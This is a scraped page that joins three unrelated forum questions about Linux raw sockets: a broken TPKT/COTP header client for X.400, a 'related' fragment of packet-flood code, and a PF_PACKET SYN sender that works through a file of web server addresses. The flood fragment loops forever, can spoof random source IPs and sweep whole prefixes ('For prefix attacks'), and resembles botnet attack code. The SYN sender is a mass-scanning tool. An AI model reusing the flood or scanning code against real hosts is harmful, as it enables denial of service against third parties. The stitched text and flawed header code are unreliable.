I'm trying to make a application based on the x400 protocol but I'm having trouble establishing the connection with the cotp protocol. I am programming on linux and I am using the raw sockets to establish the connection.
I was able to find tutorials that explain how to make and read IP and TCP headers but I can't find any on the COTP protocol.
Can anyone help me please
Here is the code of client part
#include <stdio.h> //for printf
#include <string.h> //memset
#include <time.h>
#include <sys/socket.h> //for socket ofcourse
#include <stdlib.h> //for exit(0);
#include <errno.h> //For errno - the error number
#include <netinet/tcp.h> //Provides declarations for tcp header
#include <netinet/ip.h> //Provides declarations for ip header
#include <arpa/inet.h> // inet_addr
#include <unistd.h> // sleep()
#include <net/if.h>
// TPKT HEADER
typedef struct tpkt_hdr
{
//unsigned int continuation_data; // Continuation data Byte sequence
u_int8_t version: 3; // Version (1 bytes)
u_int8_t reserved; // Reserved (1 bytes)
u_int16_t length; // Length (2 bytes)
} TPKT_HDR;
// COTP HEADER
typedef struct cotp_hdr
{
u_int16_t tpdu_type; // DST_REF (2 bytes)
u_int16_t dst_ref; // DST_REF (2 bytes)
u_int16_t src_ref; // SRC-REF (2 bytes)
unsigned int class; // Length (1 byte)
unsigned int extended_formats; // Length (1 byte)
unsigned int no_explicit_flow_control; // Length (1 byte)
u_int16_t src_tsap; // DST_REF (2 bytes)
u_int16_t dst_tsap; // SRC-REF (2 bytes)
u_int16_t tpdu_size; // DST_REF (2 bytes)
} COTP_HDR;
// pseudo header needed for tcp header checksum calculation
struct pseudo_header
{
u_int32_t source_address;
u_int32_t dest_address;
u_int8_t placeholder;
u_int8_t protocol;
u_int16_t tcp_length;
};
#define DATAGRAM_LEN 4096
#define OPT_SIZE 20
unsigned short checksum(const char *buf, unsigned size)
{
unsigned sum = 0, i;
/* Accumulate checksum */
for (i = 0; i < size - 1; i += 2)
{
unsigned short word16 = *(unsigned short *) &buf[i];
sum += word16;
}
/* Handle odd-sized case */
if (size & 1)
{
unsigned short word16 = (unsigned char) buf[i];
sum += word16;
}
/* Fold to get the ones-complement result */
while (sum >> 16) sum = (sum & 0xFFFF)+(sum >> 16);
/* Invert to get the negative in ones-complement arithmetic */
return ~sum;
}
void create_syn_packet(struct sockaddr_in* src, struct sockaddr_in* dst, char** out_packet, int* out_packet_len)
{
// datagram to represent the packet
char *datagram = calloc(DATAGRAM_LEN, sizeof(char));
// required structs for IP and TCP header
struct iphdr *iph = (struct iphdr*)datagram;
struct tcphdr *tcph = (struct tcphdr*)(datagram + sizeof(struct iphdr));
struct pseudo_header psh;
// IP header configuration
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr) + OPT_SIZE;
iph->id = htonl(rand() % 65535); // id of this packet
iph->frag_off = 0;
iph->ttl = 255; //64
iph->protocol = IPPROTO_TCP;
iph->check = 0; // correct calculation follows later
iph->saddr = src->sin_addr.s_addr;
iph->daddr = dst->sin_addr.s_addr;
// TCP header configuration
tcph->source = src->sin_port;
tcph->dest = dst->sin_port;
tcph->seq = htonl(rand() % 4294967295);
tcph->ack_seq = htonl(0);
tcph->doff = 10; // tcp header size
tcph->fin = 0;
tcph->syn = 1;
tcph->rst = 0;
tcph->psh = 0;
tcph->ack = 0;
tcph->urg = 0;
tcph->check = 0; // correct calculation follows later
tcph->window = htons(5840); // window size
tcph->urg_ptr = 0;
// TCP pseudo header for checksum calculation
psh.source_address = src->sin_addr.s_addr;
psh.dest_address = dst->sin_addr.s_addr;
psh.placeholder = 0;
psh.protocol = IPPROTO_TCP;
psh.tcp_length = htons(sizeof(struct tcphdr) + OPT_SIZE);
int psize = sizeof(struct pseudo_header) + sizeof(struct tcphdr) + OPT_SIZE;
// fill pseudo packet
char* pseudogram = malloc(psize);
memcpy(pseudogram, (char*)&psh, sizeof(struct pseudo_header));
memcpy(pseudogram + sizeof(struct pseudo_header), tcph, sizeof(struct tcphdr) + OPT_SIZE);
// TCP options are only set in the SYN packet
// ---- set mss ----
datagram[40] = 0x02;
datagram[41] = 0x04;
int16_t mss = htons(48); // mss value
memcpy(datagram + 42, &mss, sizeof(int16_t));
// ---- enable SACK ----
datagram[44] = 0x04;
datagram[45] = 0x02;
// do the same for the pseudo header
pseudogram[32] = 0x02;
pseudogram[33] = 0x04;
memcpy(pseudogram + 34, &mss, sizeof(int16_t));
pseudogram[36] = 0x04;
pseudogram[37] = 0x02;
tcph->check = checksum((const char*)pseudogram, psize);
iph->check = checksum((const char*)datagram, iph->tot_len);
*out_packet = datagram;
*out_packet_len = iph->tot_len;
free(pseudogram);
}
void create_ack_packet(struct sockaddr_in* src, struct sockaddr_in* dst, int32_t seq, int32_t ack_seq, char** out_packet, int* out_packet_len)
{
// datagram to represent the packet
char *datagram = calloc(DATAGRAM_LEN, sizeof(char));
// required structs for IP and TCP header
struct iphdr *iph = (struct iphdr*)datagram;
struct tcphdr *tcph = (struct tcphdr*)(datagram + sizeof(struct iphdr));
struct pseudo_header psh;
// IP header configuration
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr) + OPT_SIZE;
iph->id = htonl(rand() % 65535); // id of this packet
iph->frag_off = 0;
iph->ttl = 255; //64
iph->protocol = IPPROTO_TCP;
iph->check = 0; // correct calculation follows later
iph->saddr = src->sin_addr.s_addr;
iph->daddr = dst->sin_addr.s_addr;
// TCP header configuration
tcph->source = src->sin_port;
tcph->dest = dst->sin_port;
tcph->seq = htonl(seq);
tcph->ack_seq = htonl(ack_seq);
tcph->doff = 10; // tcp header size
tcph->fin = 0;
tcph->syn = 0;
tcph->rst = 0;
tcph->psh = 0;
tcph->ack = 1;
tcph->urg = 0;
tcph->check = 0; // correct calculation follows later
tcph->window = htons(5840); // window size
tcph->urg_ptr = 0;
// TCP pseudo header for checksum calculation
psh.source_address = src->sin_addr.s_addr;
psh.dest_address = dst->sin_addr.s_addr;
psh.placeholder = 0;
psh.protocol = IPPROTO_TCP;
psh.tcp_length = htons(sizeof(struct tcphdr) + OPT_SIZE);
int psize = sizeof(struct pseudo_header) + sizeof(struct tcphdr) + OPT_SIZE;
// fill pseudo packet
char* pseudogram = malloc(psize);
memcpy(pseudogram, (char*)&psh, sizeof(struct pseudo_header));
memcpy(pseudogram + sizeof(struct pseudo_header), tcph, sizeof(struct tcphdr) + OPT_SIZE);
tcph->check = checksum((const char*)pseudogram, psize);
iph->check = checksum((const char*)datagram, iph->tot_len);
*out_packet = datagram;
*out_packet_len = iph->tot_len;
free(pseudogram);
}
void create_data_packet(struct sockaddr_in* src, struct sockaddr_in* dst, int32_t seq, int32_t ack_seq, char* data, int data_len, char** out_packet, int* out_packet_len)
{
// datagram to represent the packet
char *datagram = calloc(DATAGRAM_LEN, sizeof(char));
// required structs for IP and TCP header
struct iphdr *iph = (struct iphdr*)datagram;
struct tcphdr *tcph = (struct tcphdr*)(datagram + sizeof(struct iphdr));
struct pseudo_header psh;
// set payload
char* payload = datagram + sizeof(struct iphdr) + sizeof(struct tcphdr) + OPT_SIZE;
memcpy(payload, data, data_len);
// IP header configuration
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr) + OPT_SIZE + data_len;
iph->id = htonl(rand() % 65535); // id of this packet
iph->frag_off = 0;
iph->ttl = 255; //64
iph->protocol = IPPROTO_TCP;
iph->check = 0; // correct calculation follows later
iph->saddr = src->sin_addr.s_addr;
iph->daddr = dst->sin_addr.s_addr;
// TCP header configuration
tcph->source = src->sin_port;
tcph->dest = dst->sin_port;
tcph->seq = htonl(seq);
tcph->ack_seq = htonl(ack_seq);
tcph->doff = 10; // tcp header size
tcph->fin = 0;
tcph->syn = 0;
tcph->rst = 0;
tcph->psh = 1;
tcph->ack = 1;
tcph->urg = 0;
tcph->check = 0; // correct calculation follows later
tcph->window = htons(5840); // window size
tcph->urg_ptr = 0;
// TCP pseudo header for checksum calculation
psh.source_address = src->sin_addr.s_addr;
psh.dest_address = dst->sin_addr.s_addr;
psh.placeholder = 0;
psh.protocol = IPPROTO_TCP;
psh.tcp_length = htons(sizeof(struct tcphdr) + OPT_SIZE + data_len);
int psize = sizeof(struct pseudo_header) + sizeof(struct tcphdr) + OPT_SIZE + data_len;
// fill pseudo packet
char* pseudogram = malloc(psize);
memcpy(pseudogram, (char*)&psh, sizeof(struct pseudo_header));
memcpy(pseudogram + sizeof(struct pseudo_header), tcph, sizeof(struct tcphdr) + OPT_SIZE + data_len);
tcph->check = checksum((const char*)pseudogram, psize);
iph->check = checksum((const char*)datagram, iph->tot_len);
*out_packet = datagram;
*out_packet_len = iph->tot_len;
free(pseudogram);
}
void read_seq_and_ack(const char* packet, uint32_t* seq, uint32_t* ack)
{
// read sequence number
uint32_t seq_num;
memcpy(&seq_num, packet + 24, 4);
// read acknowledgement number
uint32_t ack_num;
memcpy(&ack_num, packet + 28, 4);
// convert network to host byte order
*seq = ntohl(seq_num);
*ack = ntohl(ack_num);
printf("sequence number: %lu\n", (unsigned long)*seq);
printf("acknowledgement number: %lu\n", (unsigned long)*seq);
}
int receive_from(int sock, char* buffer, size_t buffer_length, struct sockaddr_in *dst)
{
unsigned short dst_port;
int received;
do
{
received = recvfrom(sock, buffer, buffer_length, 0, NULL, NULL);
if (received < 0)
break;
memcpy(&dst_port, buffer + 22, sizeof(dst_port));
}
while (dst_port != dst->sin_port);
printf("received bytes: %d\n", received);
printf("destination port: %d\n", ntohs(dst->sin_port));
return received;
}
void create_cotp_packet(struct sockaddr_in* src, struct sockaddr_in* dst, int32_t seq, int32_t ack_seq, char** out_packet, int* out_packet_len)
{
// datagram to represent the packet
char *datagram = calloc(DATAGRAM_LEN, sizeof(char));
// required structs for IP and TCP header
struct iphdr *iph = (struct iphdr*)datagram;
struct tcphdr *tcph = (struct tcphdr*)(datagram + sizeof(struct iphdr));
struct tpkt_hdr *tpkth = (struct tpkt_hdr*)(datagram + sizeof(struct iphdr) + sizeof(struct tcphdr));
struct cotp_hdr *cotph = (struct cotp_hdr*)(datagram + sizeof(struct iphdr) + sizeof(struct tcphdr) + sizeof(struct tpkt_hdr));
struct pseudo_header psh;
// IP header configuration
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr) + sizeof(struct tpkt_hdr) + sizeof(struct cotp_hdr) + OPT_SIZE;
iph->id = htonl(rand() % 65535); // id of this packet
iph->frag_off = 0;
iph->ttl = 255; //64
iph->protocol = IPPROTO_TCP;
iph->check = 0; // correct calculation follows later
iph->saddr = src->sin_addr.s_addr;
iph->daddr = dst->sin_addr.s_addr;
// TCP header configuration
tcph->source = src->sin_port;
tcph->dest = dst->sin_port;
tcph->seq = htonl(seq);
tcph->ack_seq = htonl(ack_seq);
tcph->doff = 10; // tcp header size
tcph->fin = 0;
tcph->syn = 0;
tcph->rst = 0;
tcph->psh = 1;
tcph->ack = 1;
tcph->urg = 0;
tcph->check = 0; // correct calculation follows later
tcph->window = htons(5840); // window size
tcph->urg_ptr = 0;
// TPKT header configuration
tpkth->version = 3; // Version (1 bytes)
tpkth->reserved = 0; // Reserved (1 bytes)
tpkth->length = sizeof(struct tpkt_hdr); // Length (2 bytes)
cotph->tpdu_type = 0xe0; // DST_REF (2 bytes)
cotph->dst_ref = 0x0000; // DST_REF (2 bytes)
cotph->src_ref = 0x0009; // SRC-REF (2 bytes)
cotph->class = 0; // Length (1 byte)
cotph->extended_formats = 0; // Length (1 byte)
cotph->no_explicit_flow_control = 0; // Length (1 byte)
cotph->tpdu_size= 1024; // DST_REF (2 bytes)
cotph->src_tsap=0x5031; // DST_REF (2 bytes)
cotph->dst_tsap=0x5031; // SRC-REF (2 bytes)
// TCP pseudo header for checksum calculation
psh.source_address = src->sin_addr.s_addr;
psh.dest_address = dst->sin_addr.s_addr;
psh.placeholder = 0;
psh.protocol = IPPROTO_TCP;
psh.tcp_length = htons(sizeof(struct cotp_hdr) + OPT_SIZE);
int psize = sizeof(struct pseudo_header) + sizeof(struct cotp_hdr) + OPT_SIZE;
// fill pseudo packet
char* pseudogram = malloc(psize);
memcpy(pseudogram, (char*)&psh, sizeof(struct pseudo_header));
memcpy(pseudogram + sizeof(struct pseudo_header), cotph, sizeof(struct cotp_hdr) + OPT_SIZE);
tcph->check = checksum((const char*)pseudogram, psize);
iph->check = checksum((const char*)datagram, iph->tot_len);
*out_packet = datagram;
*out_packet_len = iph->tot_len;
free(pseudogram);
}
int main(int argc, char** argv)
{
if (argc != 4)
{
printf("invalid parameters.\n");
printf("USAGE %s <source-ip> <target-ip> <port>\n", argv[0]);
return 1;
}
srand(time(NULL));
int sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
if (sock == -1)
{
printf("socket creation failed\n");
return 1;
}
const char *opt;
opt = "ens33";
const int len = strnlen(opt, IFNAMSIZ);
if(len ==IFNAMSIZ){
fprintf(stderr, "Too long iface name");
return 1;
}
if(setsockopt(sock, SOL_SOCKET, SO_BINDTODEVICE, opt, len) == -1)
{
perror("Error setting IP_HDRINCL");
exit(0);
}
/*
int optval;
if (setsockopt (sock, IPPROTO_IP, IP_HDRINCL, (char*)&optval, sizeof(optval)) == -1)
{
perror("Error setting IP_HDRINCL");
exit(0);
}
* */
// destination IP address configuration
struct sockaddr_in daddr;
daddr.sin_family = AF_INET;
daddr.sin_port = htons(atoi(argv[3]));
if (inet_pton(AF_INET, argv[2], &daddr.sin_addr) != 1)
{
printf("destination IP configuration failed\n");
return 1;
}
// source IP address configuration
struct sockaddr_in saddr;
saddr.sin_family = AF_INET;
saddr.sin_port = htons(rand() % 65535); // random client port
if (inet_pton(AF_INET, argv[1], &saddr.sin_addr) != 1)
{
printf("source IP configuration failed\n");
return 1;
}
printf("selected source port number: %d\n", ntohs(saddr.sin_port));
// tell the kernel that headers are included in the packet
int one = 1;
const int *val = &one;
if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, val, sizeof(one)) == -1)
{
printf("setsockopt(IP_HDRINCL, 1) failed\n");
return 1;
}
char* packet;
int packet_len;
int sent;
// send SYN
create_syn_packet(&saddr, &daddr, &packet, &packet_len);
if ((sent = sendto(sock, packet, packet_len, 0, (struct sockaddr*)&daddr, sizeof(struct sockaddr))) == -1)
{
printf("sendto() failed\n");
return 2;
}
else
{
printf("successfully sent %d bytes SYN!\n", sent);
}
// receive SYN-ACK
char recvbuf[DATAGRAM_LEN];
int received = receive_from(sock, recvbuf, sizeof(recvbuf), &saddr);
if (received <= 0)
{
printf("receive_from() failed\n");
return 3;
}
else
{
printf("successfully received %d bytes SYN-ACK!\n", received);
}
// read sequence number to acknowledge in next packet
uint32_t seq_num, ack_num;
read_seq_and_ack(recvbuf, &seq_num, &ack_num);
int new_seq_num = seq_num + 1;
// send ACK
// previous seq number is used as ack number and vica vera
create_ack_packet(&saddr, &daddr, ack_num, new_seq_num, &packet, &packet_len);
if ((sent = sendto(sock, packet, packet_len, 0, (struct sockaddr*)&daddr, sizeof(struct sockaddr))) == -1)
{
printf("sendto() failed\n");
return 4;
}
else
{
printf("successfully sent %d bytes ACK!\n", sent);
}
new_seq_num = seq_num + 1;
// send COTP PACKET
// previous seq number is used as ack number and vica vera
create_cotp_packet(&saddr, &daddr, ack_num, new_seq_num, &packet, &packet_len);
if ((sent = sendto(sock, packet, packet_len, 0, (struct sockaddr*)&daddr, sizeof(struct sockaddr))) == -1)
{
printf("sendto() failed\n");
return 4;
}
else
{
printf("successfully sent %d bytes ACK!\n", sent);
}
// TODO: handle FIN packets to close the connection properly
close(sock);
return 0;
}
This is the wireshark capture that I'm trying to reproduce:
a link
Related
IP ubuntu-s-1vcpu-1gb-nyc3-01.36900 > 170.33.9.35.11158: Flags [P.], seq 846930886:846930902, ack 0, win 65232, length 16
IP ubuntu-s-1vcpu-1gb-nyc3-01.36900 > 170.33.9.35.11158: Flags [P.], seq 0:16, ack 1, win 65232, length 16
IP ubuntu-s-1vcpu-1gb-nyc3-01.36900 > 170.33.9.35.11158: Flags [P.], Flags [P.], seq 0:16, ack 1, win 65232, length 16
IP ubuntu-s-1vcpu-1gb-nyc3-01.36800 > 170.33.9.35.11158: Flags [P.], seq 846930886:846930902, ack 0, win 65232, length 16
IP ubuntu-s-1vcpu-1gb-nyc3-01.36800 > 170.33.9.35.11158: Flags [P.], seq 0:16, ack 1, win 65232, length 16
i trying to send tcp packet to my localhost . first packet from source port working fine but from second packet from the same source port and destination port it returns 0 acknowledge sequence number and when i changed the source to another it back to work until the second packet from the same source port.. i don't know if the source port cookies some data . any Solution for this
if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
{
return;
}
i = 1;
if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1)
{
close(fd);
return;
}
for (i = 0; i < targs_len; i++)
{
struct iphdr *iph;
struct tcphdr *tcph;
char *payload;
pkts[i] = calloc(1510 + (rand_next() & 0x0f), sizeof (char));
iph = (struct iphdr *)pkts[i];
tcph = (struct tcphdr *)(iph + 1);
payload = (char *)(tcph + 1);
iph->version = 4;
iph->ihl = 5;
iph->tos = ip_tos;
iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len);
iph->id = htons(ip_ident);
iph->ttl = ip_ttl;
if (dont_frag)
iph->frag_off = htons(1 << 14);
iph->protocol = IPPROTO_TCP;
iph->saddr = source_ip;
iph->daddr = targs[i].addr;
tcph->source = htons(sport);
tcph->dest = htons(dport);
tcph->seq = htons(seq);
tcph->ack_seq = htons(ack);
tcph->doff = 5;
tcph->urg = urg_fl;
tcph->ack = ack_fl;
tcph->psh = psh_fl;
tcph->rst = rst_fl;
tcph->syn = syn_fl;
tcph->fin = fin_fl;
tcph->window = htons(65232);
//tcph->window = htons(63500 + (rand_next()%1500));
//tcph->window = htons(192);
// tcph->window = rand_next() & 0xffff;
if(psh_fl)
tcph->psh = TRUE;
rand_str(payload, data_len);
}
while (TRUE)
{
for (i = 0; i < targs_len; i++)
{
char *pkt = pkts[i];
struct iphdr *iph = (struct iphdr *)pkt;
struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
char *data = (char *)(tcph + 1);
// For prefix attacks
if (targs[i].netmask < 32)
iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));
if (source_ip == 0xffffffff)
iph->saddr = rand_next();
if (ip_ident == 0xffff)
iph->id = rand_next() & 0xffff;
if (sport == 0xffff)
tcph->source = rand_next() & 0xffff;
if (dport == 0xffff)
tcph->dest = rand_next() & 0xffff;
if (seq == 0xffff)
tcph->seq = htonl(rand() % 4294967295);
if (ack == 0xffff)
tcph->ack_seq = htonl(0);
// Randomize packet content?
if (data_rand)
rand_str(data, data_len);
iph->check = 0;
iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
tcph->check = 0;
tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr) + data_len), sizeof (struct tcphdr) + data_len);
targs[i].sock_addr.sin_port = tcph->dest;
usleep(1000000);
sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));
}
}
The following code reads an IPv4 address from an input file which has an IPv4 address of a known web server on each line. It sends a TCP SYN with a PF_PACKET type socket. The main function launches two threads. One to send the TCP SYN packet and one thread to receive responses. The receive thread is blocking forever on recvfom call. This is not the desired behaviour. A screenshot of Wireshark capture shows that TCP SYN/ACK responses are being received by the machine:
So why isn't my program returning from recvfrom?
EDIT:
I include a cut down listing of the code below. MAC address and IP address and interface name are hard coded. You will have to change them to your setup to get the code to run.
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/ethernet.h>
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <netinet/tcp.h> //Provides declarations for tcp header
#include <netinet/ip.h> //Provides declarations for ip header
#include <netinet/ether.h>
#include <ifaddrs.h>
#include <asm/types.h>
#include <linux/if_ether.h>
//#include <linux/if_arp.h>
#include <arpa/inet.h> //htons etc
#include <time.h>
#include <linux/rtnetlink.h>
#include <sys/resource.h>
#include <pthread.h>
#define MAX_CONNECTIONS 10000
#define HWADDR_len 6
#define debug(x...) printf(x);printf("\n");
#define info(x...) printf(x);printf("\n");
#define warn(x...) printf(x);printf("\n");
#define err(x...) printf(x);printf("\n");
static char * str_devname= NULL;
volatile int fd_socket;
volatile struct sockaddr_ll *ps_sockaddr = NULL;
int done = 0;
char ifname[512];
char ip[512];
struct timespec startTime, stopTime;
long total_bytes = 0;
int sent = 0;
int lines_read = 0;
FILE * fp;
char server[254];
size_t len;
struct ifreq ifr,ifr2;
struct sockaddr_in* ipaddr = (struct sockaddr_in*)&ifr2.ifr_addr;
int count = 0;
pthread_mutex_t mutex1 = PTHREAD_MUTEX_INITIALIZER;
/*
96 bit (12 bytes) pseudo header needed for tcp header checksum calculation
*/
struct pseudo_header
{
u_int32_t source_address;
u_int32_t dest_address;
u_int8_t placeholder;
u_int8_t protocol;
u_int16_t tcp_length;
};
unsigned short checksum2(const char *buf, unsigned size)
{
unsigned long long sum = 0;
const unsigned long long *b = (unsigned long long *) buf;
unsigned t1, t2;
unsigned short t3, t4;
/* Main loop - 8 bytes at a time */
while (size >= sizeof(unsigned long long))
{
unsigned long long s = *b++;
sum += s;
if (sum < s) sum++;
size -= 8;
}
/* Handle tail less than 8-bytes long */
buf = (const char *) b;
if (size & 4)
{
unsigned s = *(unsigned *)buf;
sum += s;
if (sum < s) sum++;
buf += 4;
}
if (size & 2)
{
unsigned short s = *(unsigned short *) buf;
sum += s;
if (sum < s) sum++;
buf += 2;
}
if (size)
{
unsigned char s = *(unsigned char *) buf;
sum += s;
if (sum < s) sum++;
}
/* Fold down to 16 bits */
t1 = sum;
t2 = sum >> 32;
t1 += t2;
if (t1 < t2) t1++;
t3 = t1;
t4 = t1 >> 16;
t3 += t4;
if (t3 < t4) t3++;
return ~t3;
}
void *my_send (){
while (!done)
{
if (count >= MAX_CONNECTIONS)
{
usleep(100);
continue;
}
char * data;
int first_loop = 1;
struct tpacket_hdr * ps_header;
int ec_send = 0;
//Datagram to represent the packet
char datagram[4096] , source_ip[32] , *pseudogram;
//zero out the packet buffer
memset (datagram, 0, 4096);
//Ethernet header
struct ether_header *eh = (struct ether_header *) datagram;
//IP header
struct iphdr *iph = (struct iphdr *) (datagram + sizeof (struct ether_header));
//TCP header
struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ether_header) + sizeof (struct ip));
struct sockaddr_in sin;
struct pseudo_header psh;
//some address resolution
strcpy(source_ip , "192.168.1.70");
sin.sin_family = AF_INET;
sin.sin_port = htons(80);
if (fscanf(fp, "%253s", server) == 1)
{
sin.sin_addr.s_addr = inet_addr (server);
lines_read++;
//printf("%s\n", server);
}
else
{
done = 1;
break;
}
//Fill in the Ethernet Header
eh->ether_dhost[0] = 0x62;
eh->ether_dhost[1] = 0x97;
eh->ether_dhost[2] = 0x41;
eh->ether_dhost[3] = 0x4b;
eh->ether_dhost[4] = 0x1e;
eh->ether_dhost[5] = 0xc0;
eh->ether_shost[0] = 0xc4;
eh->ether_shost[1] = 0x65;
eh->ether_shost[2] = 0x16;
eh->ether_shost[3] = 0x24;
eh->ether_shost[4] = 0xd5;
eh->ether_shost[5] = 0x9a;
eh->ether_type = htons(0x0800);
//Fill in the IP Header
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr));
iph->id = htons (54321); //Id of this packet
iph->frag_off = 0;
iph->ttl = 255;
iph->protocol = IPPROTO_TCP;
iph->check = 0; //Set to 0 before calculating checksum
iph->saddr = inet_addr ( source_ip );
iph->daddr = sin.sin_addr.s_addr;
//Ip checksum
iph->check = checksum2 (datagram + sizeof (struct ether_header), sizeof (struct iphdr));
//TCP Header
tcph->source = htons (1234);
tcph->dest = htons (80);
tcph->seq = 0;
tcph->ack_seq = 0;
tcph->doff = 5; //tcp header size
tcph->fin=0;
tcph->syn=1;
tcph->rst=0;
tcph->psh=0;
tcph->ack=0;
tcph->urg=0;
tcph->window = htons (5840); // maximum allowed window size
tcph->check = 0; //leave checksum 0 now, filled later by pseudo header
tcph->urg_ptr = 0;
//Now the TCP checksum
psh.source_address = inet_addr( source_ip );
psh.dest_address = sin.sin_addr.s_addr;
psh.placeholder = 0;
psh.protocol = IPPROTO_TCP;
psh.tcp_length = htons(sizeof(struct tcphdr));
int psize = sizeof(struct pseudo_header) + sizeof(struct tcphdr);
pseudogram = malloc(psize);
memcpy(pseudogram , (char*) &psh , sizeof (struct pseudo_header));
memcpy(pseudogram + sizeof(struct pseudo_header) , tcph , sizeof(struct tcphdr));
tcph->check = checksum2(pseudogram , psize);
//memcpy(data, datagram, (sizeof(struct ether_header) + sizeof(struct iphdr) + sizeof(struct tcphdr)));
free(pseudogram);
len = sizeof(struct ether_header) + sizeof(struct iphdr) + sizeof(struct tcphdr);
static int total=0;
/* send all buffers with TP_STATUS_SEND_REQUEST */
/* Wait end of transfer */
ec_send = sendto(fd_socket,datagram,len,0,(struct sockaddr *) ps_sockaddr,sizeof(struct sockaddr_ll));
if(ec_send < 0) {
perror("sendto");
}
else if ( ec_send == 0 ) {
/* nothing to do => schedule : useful if no SMP */
//printf("Sleeping\n");
usleep(0);
}
else {
total += ec_send/(len);
total_bytes += ec_send;
sent++;
pthread_mutex_lock( &mutex1 );
count++;
pthread_mutex_unlock( &mutex1 );
clock_gettime(CLOCK_MONOTONIC, &stopTime);
uint64_t msElapsed = (stopTime.tv_nsec - startTime.tv_nsec) / 1000000 + (stopTime.tv_sec - startTime.tv_sec) * 1000;
double seconds = (double)msElapsed / 1000.0;
printf("Lines read=%d Packets sent=%d, Bytes=%ld, Time=%fseconds, MBit/s=%f Packets/s=%f\r",
lines_read, sent, total_bytes, seconds, 8*total_bytes/1024/1024/seconds, sent/seconds);
//printf("send %d packets (+%d bytes)\n",total, ec_send);
fflush(0);
}
}
}
void * my_recv (){
char buffer[8192];
int ec_recv;
struct sockaddr_ll from;
socklen_t fromlen = sizeof(from);
while (1){
ec_recv = recvfrom(fd_socket, buffer, sizeof(buffer), 0, (struct sockaddr *) &from, &fromlen);
printf("recv completed\n");
if (ec_recv > 0){
printf("Received something\n");
pthread_mutex_lock( &mutex1 );
count--;
pthread_mutex_unlock( &mutex1 );
}
if (ec_recv == 0){
printf("Received nothing\n");
}
if (ec_recv < 0){
perror("recv");
}
}
}
int main( int argc, char ** argv )
{
uint32_t size;
struct sockaddr_ll my_addr;
int i_ifindex;
int ec;
struct ifreq s_ifr; /* points to one interface returned from ioctl */
pthread_t t_send, t_recv;
int s,s2,i;
int ret = -1;
struct rlimit lim;
if (argc != 2) {
printf("Usage: %s <INPUT_FILE>\n", argv[0]);
return 1;
}
getrlimit(RLIMIT_NOFILE, &lim);
printf("Soft: %d Hard: %d\n", (int)lim.rlim_cur, (int)lim.rlim_max);
lim.rlim_cur = lim.rlim_max;
if (setrlimit(RLIMIT_NOFILE, &lim) == -1) {
printf("rlimit failed\n");
return -1;
}
getrlimit(RLIMIT_NOFILE, &lim);
printf("New Soft: %d New Hard: %d\n", (int)lim.rlim_cur, (int)lim.rlim_max);
s = socket(AF_INET, SOCK_DGRAM, 0);
s2 = socket(AF_INET, SOCK_DGRAM, 0);
strcpy(ifr.ifr_name, ifname);
strcpy(ifr2.ifr_name, ifname);
ioctl(s, SIOCGIFHWADDR, &ifr);
ioctl(s2, SIOCGIFADDR, &ifr2);
close(s);
fp = fopen(argv[1], "r");
if (!fp)
exit(EXIT_FAILURE);
fd_socket = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if(fd_socket == -1)
{
perror("socket");
return EXIT_FAILURE;
}
/* clear structure */
memset(&my_addr, 0, sizeof(struct sockaddr_ll));
my_addr.sll_family = PF_PACKET;
my_addr.sll_protocol = htons(ETH_P_ALL);
str_devname = "enp3s0";
/* initialize interface struct */
strncpy (s_ifr.ifr_name, str_devname, sizeof(s_ifr.ifr_name));
/* Get the broad cast address */
ec = ioctl(fd_socket, SIOCGIFINDEX, &s_ifr);
if(ec == -1)
{
perror("iotcl");
return EXIT_FAILURE;
}
/* update with interface index */
i_ifindex = s_ifr.ifr_ifindex;
s_ifr.ifr_mtu = 7200;
/* update the mtu through ioctl */
ec = ioctl(fd_socket, SIOCSIFMTU, &s_ifr);
if(ec == -1)
{
perror("iotcl");
return EXIT_FAILURE;
}
/* set sockaddr info */
memset(&my_addr, 0, sizeof(struct sockaddr_ll));
my_addr.sll_family = AF_PACKET;
my_addr.sll_protocol = ETH_P_ALL;
my_addr.sll_ifindex = i_ifindex;
/* bind port */
if (bind(fd_socket, (struct sockaddr *)&my_addr, sizeof(struct sockaddr_ll)) == -1)
{
perror("bind");
return EXIT_FAILURE;
}
clock_gettime(CLOCK_MONOTONIC, &startTime);
if (pthread_create(&t_recv, NULL, my_recv, NULL) != 0){
perror("pthread_create()");
exit(errno);
}
if (pthread_create(&t_send, NULL, my_send, NULL) != 0){
perror("pthread_create()");
exit(errno);
}
pthread_join (t_recv, NULL);
pthread_join (t_send, NULL);
close(fd_socket);
printf("\nFinished without error.\n");
return 1;
}
Here is a file of IPv4 addresses to test with:
IPv4 addresses
